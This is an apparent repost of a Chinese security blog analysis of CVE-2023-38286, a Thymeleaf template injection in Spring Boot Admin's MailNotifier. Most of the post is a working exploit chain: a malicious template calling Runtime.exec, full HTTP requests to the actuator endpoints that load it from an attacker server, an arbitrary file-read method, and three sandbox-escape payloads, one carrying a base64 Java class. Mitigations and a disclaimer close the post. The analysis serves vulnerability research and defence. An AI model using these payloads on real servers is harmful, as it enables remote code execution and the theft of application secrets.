SpringBootAdmin-thymeleaf-SSTI 可能导致 RCE【分析】

admin 2024年10月13日18:19:58评论57 views字数 8345阅读27分49秒阅读模式
SpringBootAdmin-thymeleaf-SSTI 可能导致 RCE【分析】
CVE-2023-38286
https://nvd.nist.gov/vuln/detail/CVE-2023-38286
附加漏洞描述
这里提到的沙箱绕过是指绕过Thymeleaf的某些黑名单,而不是利用上下文进行基于反射的逃逸或类似技术。
影响
所有运行 Spring Boot Admin Server、启用 MailNotifier 并通过 UI 对环境变量进行写访问的用户都可能受到影响。
# 2023-07-05spring-boot-admin <= 3.1.0thymeleaf <= 3.1.1.RELEASE
该漏洞影响的产品及版本范围:
远程代码执行POC
所有证明环境均从此 github 存储库提供。
当您启动了springboot-admin环境后,您可以按照以下步骤获取shell:
首先,编写一个名为poc3.html的html:
<!DOCTYPE html><html xmlns:th="http://www.thymeleaf.org"><head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/></head><body><tr th:with="getRuntimeMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('java.lang.Runtime',T(org.springframework.util.ClassUtils).getDefaultClassLoader()), 'getRuntime' )}"> <td> <a th:with="runtimeObj=${T(org.springframework.util.ReflectionUtils).invokeMethod(getRuntimeMethod, null)}" > <a th:with="exeMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('java.lang.Runtime',T(org.springframework.util.ClassUtils).getDefaultClassLoader()), 'exec', ''.getClass() )}" > <a th:with="param2=${T(org.springframework.util.ReflectionUtils).invokeMethod(exeMethod, runtimeObj, 'calc' ) }" th:href="${param2}" ></a> </a> </a> </td></tr></body></html>
然后将poc3.html放入您的VPS,并启动spring-boot-admin应用程序可以访问的HTTPServer。
SpringBootAdmin-thymeleaf-SSTI 可能导致 RCE【分析】
然后发送此 HTTP 包以启用 MailNotifier:
POST /actuator/env HTTP/1.1Host: 127.0.0.1:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5163.147 Safari/537.36Accept: application/jsonAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestX-SBA-REQUEST: trueConnection: closeReferer: http://127.0.0.1:8080/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originsec-ch-ua-platform: "macOS"sec-ch-ua: "Google Chrome";v="108", "Chromium";v="108", "Not=A?Brand";v="24"sec-ch-ua-mobile: ?0Content-Type: application/jsonContent-Length: 63{"name":"spring.boot.admin.notify.mail.enabled","value":"true"}
SpringBootAdmin-thymeleaf-SSTI 可能导致 RCE【分析】
发送这个HTTP包来修改电子邮件模板,这是我们的恶意html文件的地址。
POST /actuator/env HTTP/1.1Host: 127.0.0.1:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5163.147 Safari/537.36Accept: application/jsonAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestX-SBA-REQUEST: trueConnection: closeReferer: http://127.0.0.1:8080/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originsec-ch-ua-platform: "macOS"sec-ch-ua: "Google Chrome";v="108", "Chromium";v="108", "Not=A?Brand";v="24"sec-ch-ua-mobile: ?0Content-Type: application/jsonContent-Length: 91{"name":"spring.boot.admin.notify.mail.template","value":"http://127.0.0.1:4578/poc3.html"}
SpringBootAdmin-thymeleaf-SSTI 可能导致 RCE【分析】
发送此HTTP包来刷新修改:
POST /actuator/refresh HTTP/1.1Host: 127.0.0.1:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5163.147 Safari/537.36Accept: application/jsonAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestX-SBA-REQUEST: trueConnection: closeReferer: http://127.0.0.1:8080/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originsec-ch-ua-platform: "macOS"sec-ch-ua: "Google Chrome";v="108", "Chromium";v="108", "Not=A?Brand";v="24"sec-ch-ua-mobile: ?0Content-Type: application/jsonContent-Length: 2{}
SpringBootAdmin-thymeleaf-SSTI 可能导致 RCE【分析】
最后,将此HTTP包发送到spring-boot-admin应用程序以触发离线通知,您将立即获得shell。
POST /instances HTTP/1.1Accept: application/jsonContent-Type: application/jsonUser-Agent: Java/17.0.6Host: 127.0.0.1:8080Content-Length: 178{"name":"test","managementUrl":"http://127.0.0.1:1","healthUrl":"http://127.0.0.1:1","serviceUrl":"http://127.0.0.1:1","metadata":{"startup":"2024-09-04T14:49:12.6694287+08:00"}}
任意文件读取 POC
当您配置邮件通知成功后,例如:
SpringBootAdmin-thymeleaf-SSTI 可能导致 RCE【分析】
那么你可以将MailNotifier的模板属性配置为springboot-admin主机的本地文件或springboot-admin应用程序的类路径下的文件,然后将MailNotifier的收件人修改为恶意攻击者。当触发电子邮件通知时,恶意攻击者将收到相应的模板属性文件,从而导致任意文件读取。
SpringBootAdmin-thymeleaf-SSTI 可能导致 RCE【分析】
SpringBootAdmin-thymeleaf-SSTI 可能导致 RCE【分析】
SpringBootAdmin-thymeleaf-SSTI 可能导致 RCE【分析】
SpringBootAdmin-thymeleaf-SSTI 可能导致 RCE【分析】
如果你修改MailNotifier的模板属性为springboot-admin应用程序的类路径下的文件,你甚至可以获得application.properties文件。
SpringBootAdmin-thymeleaf-SSTI 可能导致 RCE【分析】
SpringBootAdmin-thymeleaf-SSTI 可能导致 RCE【分析】
SpringBootAdmin-thymeleaf-SSTI 可能导致 RCE【分析】
漏洞分析
漏洞产生的原因是springboot-admin使用thymeleaf进行HTML渲染,而thymeleaf存在沙箱绕过漏洞。如果thymeleaf渲染恶意HTML,可以利用thymeleaf沙箱逃逸造成RCE;同时,如果攻击者可以使用actuator将MailNotifier的template属性更改为远程html模板,那么springboot-admin就会从攻击者的服务器加载恶意html并使用thymeleaf进行渲染,从而引发RCE;如果MailNotifier的模板属性被修改为服务器本地文件或classpath会导致任意文件读取;
springboot-admin中使用thymeleaf渲染HTML的关键位置如下:

SpringBootAdmin-thymeleaf-SSTI 可能导致 RCE【分析】

如果将“this.template”修改为远程文件,例如“ http://xxx.xx/poc.html ”,则将从远程加载html文件并进行渲染。利用thymeleaf的沙箱逃逸漏洞,可以进行RCE;
以下是三个thymeleaf沙箱逃逸poc:
1.此poc适用于JDK9之前的版本:
<!DOCTYPE html><html xmlns:th="http://www.thymeleaf.org"><head>    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/></head><body><tr        th:with="defineClassMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('org.springframework.cglib.core.ReflectUtils',T(org.springframework.util.ClassUtils).getDefaultClassLoader()), 'defineClass', ''.getClass() ,''.getBytes().getClass(), T(org.springframework.util.ClassUtils).forName('java.lang.ClassLoader',T(org.springframework.util.ClassUtils).getDefaultClassLoader()) )}">    <td>        <a                th:with="param2=${T(org.springframework.util.ReflectionUtils).invokeMethod(defineClassMethod, null,                    'fun.pinger.Hack',                    T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQAKgoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAoBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMSGFjazsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAdAQAKU291cmNlRmlsZQEACUhhY2suamF2YQwACgALBwAiDAAjACQBAARjYWxjDAAlACYBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAAoAJwEABEhhY2sBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEAD2Z1bi9waW5nZXIvSGFjawEAEUxmdW4vcGluZ2VyL0hhY2s7ACEACAAJAAAAAAACAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAAwAOAAAADAABAAAABQAPACkAAAAIABEACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAABwAJAAoADAAIAA0ACQAWAAsADgAAAAwAAQANAAkAEgATAAAAFAAAAAcAAkwHABUJAAEAFgAAAAIAFw=='),                    new org.springframework.core.OverridingClassLoader(T(org.springframework.util.ClassUtils).getDefaultClassLoader()) )                }"                th:href="${param2}"        ></a>    </td></tr></body></html>
2.本POC适用于JDK9之后的版本:
<!DOCTYPE html><html xmlns:th="http://www.thymeleaf.org"><head>    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/></head><body><tr        th:with="createMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('jdk.jshell.JShell',T(org.springframework.util.ClassUtils).getDefaultClassLoader()), 'create' )}">    <td>        <a                th:with="shellObj=${T(org.springframework.util.ReflectionUtils).invokeMethod(createMethod, null)}"        >            <a                    th:with="evalMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('jdk.jshell.JShell',T(org.springframework.util.ClassUtils).getDefaultClassLoader()), 'eval', ''.getClass() )}"            >                <a                        th:with="param2=${T(org.springframework.util.ReflectionUtils).invokeMethod(evalMethod, shellObj,  new java.lang.String(T(org.springframework.util.Base64Utils).decodeFromString('amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoImNhbGMiKQ==')))                }"                        th:href="${param2}"                ></a>            </a>        </a>    </td></tr></body></html>
3.该POC适用于所有版本的JDK:
<!DOCTYPE html><html xmlns:th="http://www.thymeleaf.org"><head>    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/></head><body><tr        th:with="getRuntimeMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('java.lang.Runtime',T(org.springframework.util.ClassUtils).getDefaultClassLoader()), 'getRuntime' )}">    <td>        <a                th:with="runtimeObj=${T(org.springframework.util.ReflectionUtils).invokeMethod(getRuntimeMethod, null)}"        >            <a                    th:with="exeMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('java.lang.Runtime',T(org.springframework.util.ClassUtils).getDefaultClassLoader()), 'exec', ''.getClass() )}"            >                <a                        th:with="param2=${T(org.springframework.util.ReflectionUtils).invokeMethod(exeMethod, runtimeObj, 'calc' )                }"                        th:href="${param2}"                ></a>            </a>        </a>    </td></tr></body></html>
解决方法
  • 禁用任何 MailNotifier
  • 禁用/env执行器端点上的写访问(POST 请求)
  • 将 MailNotifier 的模板属性限制为几个特定选项,并避免使用http://或file:///协议

原文始发于微信公众号(Ots安全):SpringBootAdmin-thymeleaf-SSTI 可能导致 RCE【分析】

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月13日18:19:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SpringBootAdmin-thymeleaf-SSTI 可能导致 RCE【分析】https://cn-sec.com/archives/1896508.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息